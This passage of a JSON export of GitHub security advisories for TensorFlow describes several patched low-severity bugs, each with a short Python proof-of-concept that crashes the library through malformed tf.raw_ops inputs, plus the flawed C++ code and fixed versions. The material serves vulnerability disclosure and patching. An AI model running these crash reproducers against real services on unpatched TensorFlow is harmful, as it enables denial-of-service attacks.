questions.\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-09-16T21:22:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g468-qj8g-vcjc","https://github.com/tensorflow/tensorflow/commit/6104f0d4091c260ce9352f9155f7e9b725eab012","https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0","https://nvd.nist.gov/vuln/detail/CVE-2022-36016","https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc","https://github.com/advisories/GHSA-g468-qj8g-vcjc"],"source_kind":"github","identifiers":["GHSA-g468-qj8g-vcjc","CVE-2022-36016"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.303Z","updated_at":"2023-01-28T05:03:10.000Z","epss_percentage":0.00273,"epss_percentile":0.50452},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYyZ3gtMzU1ci05Zmhn","url":"https://github.com/advisories/GHSA-62gx-355r-9fhg","title":"Session operations in eager mode lead to null pointer dereferences","description":"### Impact\nIn eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.GetSessionTensor(handle=['\\x12\\x1a\\x07'],dtype=4)\n```\n```python\nimport tensorflow as tf\ntf.raw_ops.DeleteSessionTensor(handle=['\\x12\\x1a\\x07'])\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/eebb96c2830d48597d055d247c0e9aebaea94cd5/tensorflow/core/kernels/session_ops.cc#L104) dereferences the session state pointer without checking if it is valid:\n  \n```cc\n  OP_REQUIRES_OK(ctx, ctx-\u003esession_state()-\u003eGetTensor(name, \u0026val));\n```\n\nThus, in eager mode, `ctx-\u003esession_state()` is nullptr and the call of the member function is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [ff70c47a396ef1e3cb73c90513da4f5cb71bebba](https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-62gx-355r-9fhg","https://nvd.nist.gov/vuln/detail/CVE-2021-29518","https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-446.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-644.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-155.yaml","https://github.com/advisories/GHSA-62gx-355r-9fhg"],"source_kind":"github","identifiers":["GHSA-62gx-355r-9fhg","CVE-2021-29518"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.309Z","updated_at":"2024-10-30T23:12:45.000Z","epss_percentage":0.00009,"epss_percentile":0.0055},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhjNmMtNzVwNC1obXE0","url":"https://github.com/advisories/GHSA-hc6c-75p4-hmq4","title":"Reference binding to null pointer in `MatrixDiag*` ops","description":"### Impact\nThe implementation of [`MatrixDiag*` operations](https://github.com/tensorflow/tensorflow/blob/4c4f420e68f1cfaf8f4b6e8e3eb857e9e4c3ff33/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L195-L197) does not validate that the tensor arguments are non-empty:\n\n```cc\n      num_rows = context-\u003einput(2).flat\u003cint32\u003e()(0);\n      num_cols = context-\u003einput(3).flat\u003cint32\u003e()(0);\n      padding_value = context-\u003einput(4).flat\u003cT\u003e()(0); \n``` \n\nThus, users can trigger null pointer dereferences if any of the above tensors are null:\n\n```python\nimport tensorflow as tf\n\nd = tf.convert_to_tensor([],dtype=tf.float32)\np = tf.convert_to_tensor([],dtype=tf.float32)\ntf.raw_ops.MatrixDiagV2(diagonal=d, k=0, num_rows=0, num_cols=0, padding_value=p)\n```\n\nChanging from `tf.raw_ops.MatrixDiagV2` to `tf.raw_ops.MatrixDiagV3` still reproduces the issue.\n\n### Patches\nWe have patched the issue in GitHub commit [a7116dd3913c4a4afd2a3a938573aa7c785fdfc6](https://github.com/tensorflow/tensorflow/commit/a7116dd3913c4a4afd2a3a938573aa7c785fdfc6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:20:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hc6c-75p4-hmq4","https://nvd.nist.gov/vuln/detail/CVE-2021-29515","https://github.com/tensorflow/tensorflow/commit/a7116dd3913c4a4afd2a3a938573aa7c785fdfc6","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-443.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-641.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-152.yaml","https://github.com/advisories/GHSA-hc6c-75p4-hmq4"],"source_kind":"github","identifiers":["GHSA-hc6c-75p4-hmq4","CVE-2021-29515"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.280Z","updated_at":"2024-10-30T22:07:14.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3MmotaDl4dy1mZnA1","url":"https://github.com/advisories/GHSA-772j-h9xw-ffp5","title":"CHECK-fail in SparseCross due to type confusion","description":"### Impact\nThe API of `tf.raw_ops.SparseCross` allows combinations which would result in a `CHECK`-failure and denial of service:\n\n```python\nimport tensorflow as tf\n\nhashed_output = False\nnum_buckets = 1949315406\nhash_key = 1869835877\nout_type = tf.string \ninternal_type = tf.string\n\nindices_1 = tf.constant([0, 6], shape=[1, 2], dtype=tf.int64)\nindices_2 = tf.constant([0, 0], shape=[1, 2], dtype=tf.int64)\nindices = [indices_1, indices_2]\n\nvalues_1 = tf.constant([0], dtype=tf.int64)\nvalues_2 = tf.constant([72], dtype=tf.int64)\nvalues = [values_1, values_2]\n\nbatch_size = 4\nshape_1 = tf.constant([4, 122], dtype=tf.int64)\nshape_2 = tf.constant([4, 188], dtype=tf.int64)\nshapes = [shape_1, shape_2]\n\ndense_1 = tf.constant([188, 127, 336, 0], shape=[4, 1], dtype=tf.int64)\ndense_2 = tf.constant([341, 470, 470, 470], shape=[4, 1], dtype=tf.int64)\ndense_3 = tf.constant([188, 188, 341, 922], shape=[4, 1], dtype=tf.int64)\ndenses = [dense_1, dense_2, dense_3]\n\ntf.raw_ops.SparseCross(indices=indices, values=values, shapes=shapes, dense_inputs=denses, hashed_output=hashed_output,\n                       num_buckets=num_buckets, hash_key=hash_key, out_type=out_type, internal_type=internal_type)\n```\n\nThe above code will result in a `CHECK` fail in [`tensor.cc`](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/framework/tensor.cc#L670-L675):\n\n```cc\nvoid Tensor::CheckTypeAndIsAligned(DataType expected_dtype) const {\n  CHECK_EQ(dtype(), expected_dtype)\n      \u003c\u003c \" \" \u003c\u003c DataTypeString(expected_dtype) \u003c\u003c \" expected, got \"\n      \u003c\u003c DataTypeString(dtype());\n  ...\n}\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/3d782b7d47b1bf2ed32bd4a246d6d6cadc4c903d/tensorflow/core/kernels/sparse_cross_op.cc#L114-L116) is tricked to consider a tensor of type `tstring` which in fact contains integral elements:\n\n```cc\n  if (DT_STRING == values_.dtype())\n      return Fingerprint64(values_.vec\u003ctstring\u003e().data()[start + n]);\n  return values_.vec\u003cint64\u003e().data()[start + n];\n```\n\nFixing the type confusion by preventing mixing `DT_STRING` and `DT_INT64` types solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025](https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-772j-h9xw-ffp5","https://nvd.nist.gov/vuln/detail/CVE-2021-29519","https://github.com/tensorflow/tensorflow/commit/b1cc5e5a50e7cee09f2c6eb48eb40ee9c4125025","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-447.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-645.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-156.yaml","https://github.com/advisories/GHSA-772j-h9xw-ffp5"],"source_kind":"github","identifiers":["GHSA-772j-h9xw-ffp5","CVE-2021-29519"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.318Z","updated_at":"2024-10-28T21:22:35.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjcHgtNDI3eC1xMmM2","url":"https://github.com/advisories/GHSA-2cpx-427x-q2c6","title":"CHECK-fail in AddManySparseToTensorsMap","description":"### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in  `tf.raw_ops.AddManySparseToTensorsMap`:\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\nsparse_indices = tf.constant(530, shape=[1, 1], dtype=tf.int64)\nsparse_values = tf.ones([1], dtype=tf.int64)\n\nshape = tf.Variable(tf.ones([55], dtype=tf.int64))\nshape[:8].assign(np.array([855, 901, 429, 892, 892, 852, 93, 96], dtype=np.int64))\n\ntf.raw_ops.AddManySparseToTensorsMap(sparse_indices=sparse_indices,\n                    sparse_values=sparse_values,\n                    sparse_shape=shape)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/kernels/sparse_tensors_map_ops.cc#L257) takes the values specified in `sparse_shape` as dimensions for the output shape: \n\n```cc\n    TensorShape tensor_input_shape(input_shape-\u003evec\u003cint64\u003e());\n```\n\nThe [`TensorShape` constructor](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when [`InitDims`](https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status.\n  \n```cc\ntemplate \u003cclass Shape\u003e\nTensorShapeBase\u003cShape\u003e::TensorShapeBase(gtl::ArraySlice\u003cint64\u003e dim_sizes) {\n  set_tag(REP16);\n  set_data_type(DT_INVALID);\n  TF_CHECK_OK(InitDims(dim_sizes));\n}\n```\n\nIn our scenario, this occurs when adding a dimension from the argument results in overflow:\n\n```cc\ntemplate \u003cclass Shape\u003e\nStatus TensorShapeBase\u003cShape\u003e::InitDims(gtl::ArraySlice\u003cint64\u003e dim_sizes) {\n  ...\n  Status status = Status::OK();\n  for (int64 s : dim_sizes) {\n    status.Update(AddDimWithStatus(internal::SubtleMustCopy(s)));\n    if (!status.ok()) {\n      return status;\n    }\n  }\n}\n\ntemplate \u003cclass Shape\u003e\nStatus TensorShapeBase\u003cShape\u003e::AddDimWithStatus(int64 size) {\n  ...\n  int64 new_num_elements;\n  if (kIsPartial \u0026\u0026 (num_elements() \u003c 0 || size \u003c 0)) {\n    new_num_elements = -1;\n  } else {\n    new_num_elements = MultiplyWithoutOverflow(num_elements(), size);\n    if (TF_PREDICT_FALSE(new_num_elements \u003c 0)) {\n        return errors::Internal(\"Encountered overflow when multiplying \",\n                                num_elements(), \" with \", size,\n                                \", result: \", new_num_elements);\n      }\n  }\n  ...\n}\n```\n\nThis is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows.\n\n### Patches\nWe have patched the issue in GitHub commit [69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c](https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:21:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2cpx-427x-q2c6","https://nvd.nist.gov/vuln/detail/CVE-2021-29523","https://github.com/tensorflow/tensorflow/commit/69c68ecbb24dff3fa0e46da0d16c821a2dd22d7c","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-451.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-649.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-160.yaml","https://github.com/advisories/GHSA-2cpx-427x-q2c6"],"source_kind":"github","identifiers":["GHSA-2cpx-427x-q2c6","CVE-2021-29523"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.357Z","updated_at":"2024-10-30T23:14:34.000Z","epss_percentage":0.00015,"epss_percentile":0.01838},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNxeHAtcWpxNy13NGhm","url":"https://github.com/advisories/GHSA-3qxp-qjq7-w4hf","title":"CHECK-fail in tf.raw_ops.EncodePng","description":"### Impact\nAn attacker can trigger a `CHECK` fail in PNG encoding by providing an empty input tensor as the pixel data:\n\n```python\nimport tensorflow as tf\n\nimage = tf.zeros([0, 0, 3])\nimage = tf.cast(image, dtype=tf.uint8) \ntf.raw_ops.EncodePng(image=image) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L57-L60) only validates that the total number of pixels in the image does not overflow. Thus, an attacker can send an empty matrix for encoding. However, if the tensor is empty, then the associated buffer is `nullptr`. Hence, when [calling `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/kernels/image/encode_png_op.cc#L79-L93), the first argument (i.e., `image.flat\u003cT\u003e().data()`) is `NULL`. This then triggers the `CHECK_NOTNULL` in the [first line of `png::WriteImageToBuffer`](https://github.com/tensorflow/tensorflow/blob/e312e0791ce486a80c9d23110841525c6f7c3289/tensorflow/core/lib/png/png_io.cc#L345-L349).\n\n```cc\ntemplate \u003ctypename T\u003e\nbool WriteImageToBuffer(\n    const void* image, int width, int height, int row_bytes, int num_channels,\n    int channel_bits, int compression, T* png_string,\n    const std::vector\u003cstd::pair\u003cstd::string, std::string\u003e \u003e* metadata) {\n  CHECK_NOTNULL(image);\n  ...\n}\n```\n\nSince `image` is null, this results in `abort` being called after printing the stacktrace. Effectively, this allows an attacker to mount a denial of service attack.\n\n### Patches\nWe have patched the issue in GitHub commit [26eb323554ffccd173e8a79a8c05c15b685ae4d1](https://github.com/tensorflow/tensorflow/commit/26eb323554ffccd173e8a79a8c05c15b685ae4d1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3qxp-qjq7-w4hf","https://nvd.nist.gov/vuln/detail/CVE-2021-29531","https://github.com/tensorflow/tensorflow/commit/26eb323554ffccd173e8a79a8c05c15b685ae4d1","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-459.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-657.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-168.yaml","https://github.com/advisories/GHSA-3qxp-qjq7-w4hf"],"source_kind":"github","identifiers":["GHSA-3qxp-qjq7-w4hf","CVE-2021-29531"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.443Z","updated_at":"2024-10-30T23:20:20.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo0N2YtNDIzMi1odnY4","url":"https://github.com/advisories/GHSA-j47f-4232-hvv8","title":"Heap out of bounds read in `RaggedCross`","description":"### Impact\nAn attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to `tf.raw_ops.RaggedCross`:\n\n```python\nimport tensorflow as tf\n\nragged_values = []\nragged_row_splits = [] \nsparse_indices = []\nsparse_values = []\nsparse_shape = []\n\ndense_inputs_elem = tf.constant([], shape=[92, 0], dtype=tf.int64)\ndense_inputs = [dense_inputs_elem]\n\ninput_order = \"R\"\nhashed_output = False\nnum_buckets = 0\nhash_key = 0 \n\ntf.raw_ops.RaggedCross(ragged_values=ragged_values,\n    ragged_row_splits=ragged_row_splits,\n    sparse_indices=sparse_indices,\n    sparse_values=sparse_values,\n    sparse_shape=sparse_shape,\n    dense_inputs=dense_inputs,\n    input_order=input_order,\n    hashed_output=hashed_output,\n    num_buckets=num_buckets,\n    hash_key=hash_key,\n    out_values_type=tf.int64,\n    out_row_splits_type=tf.int64)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efea03b38fb8d3b81762237dc85e579cc5fc6e87/tensorflow/core/kernels/ragged_cross_op.cc#L456-L487) lacks validation for the user supplied arguments:\n\n```cc\nint next_ragged = 0;\nint next_sparse = 0;\nint next_dense = 0;\nfor (char c : input_order_) {\n  if (c == 'R') {\n    TF_RETURN_IF_ERROR(BuildRaggedFeatureReader(\n        ragged_values_list[next_ragged], ragged_splits_list[next_ragged],\n        features));\n    next_ragged++;\n  } else if (c == 'S') {\n    TF_RETURN_IF_ERROR(BuildSparseFeatureReader(\n        sparse_indices_list[next_sparse], sparse_values_list[next_sparse],\n        batch_size, features));\n    next_sparse++;\n  } else if (c == 'D') {\n    TF_RETURN_IF_ERROR(\n        BuildDenseFeatureReader(dense_list[next_dense++], features));\n  }\n  ...\n}\n```\n\nEach of the above branches call a helper function after accessing array elements via a `*_list[next_*]` pattern, followed by incrementing the `next_*` index. However, as there is no validation that the `next_*` values are in the valid range for the corresponding `*_list` arrays, this results in heap OOB reads.\n\n### Patches\nWe have patched the issue in GitHub commit 